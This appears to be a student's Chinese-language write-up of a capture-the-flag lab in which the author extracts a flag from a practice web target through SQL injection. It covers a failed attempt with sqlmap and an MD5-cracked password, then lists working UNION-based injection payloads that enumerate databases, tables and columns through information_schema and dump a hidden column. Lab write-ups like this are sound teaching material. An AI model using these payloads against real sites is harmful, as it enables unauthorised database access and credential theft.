题目要求
打开浏览器,进入靶机ip对应的网页,对其后台的数据库进行注入攻击,得到flag
摸索过程
sqlmap
一开始搜索的都是“SQL注入”,答案一般都需要工具sqlmap。
下载安装后,根据一些基本SQL注入语句,查看了qwerty中的user表,里面有user_id,user_name和password。
根据以往的实验来讲,一般flag就是password嘛,拿到这一串东西:
bcbe3365e6ac95ea2c0343a2395834dd
我还用md5解密得到222.
但是,答案错误!
到底是哪里出问题了呢?一个多小时的摸索在这里停滞,不知如何是好。
Web表单注入
在助教老师和同学的提点下,换一个关键词搜索。搜到了这篇文章,感觉非常对口。
web 漏洞入门之 —— SQL 注入教程_实验楼v的博客-优快云博客
从数据库-table-column一步步走下去,诶?怎么还是这个md5串?!
1'+union+select+password+from+user
崩溃!跟蓝朋友出去吃了个《食古论今》啃完猪蹄后回来继续做。
重整思路
也许flag根本就不是user的password。又想起来qwerty数据库里除了user还有一个奇怪的名字table23335,当时因为注意力全被user吸引,就没注意它。
实验步骤
进入靶机网页后,再输入栏中输入:
1.查所有数据库
-1' union select schema_name from information_schema.SCHEMATA#
那两个带schema的应该是sql自带的配置不用管,我也进mysql看了一下,没有什么有价值的东西,所以正确答案一定还在qwerty里!
2.查qwerty数据库所有表
-1' union select table_name from information_schema.tables where table_schema="qwerty"#
3.查table23335的所有列
-1' union select column_name from information_schema.columns where table_name="table23335"#
这时候我恍然大悟。这个pwd88s与题目的提示“pwdxxx”很像呀!就是它!
4.看pwd88s的内容
-1' union select pwd88s from qwerty.table23335#
啊!这小串数字太亲切啦!它就是flag!
总结与反思
所以其实sqlmap的方法也是可用的,甚至打的字可能还少一些。只要选对了表!!!
以后不要想当然,要广撒网。
做不出来就去啃个猪蹄儿!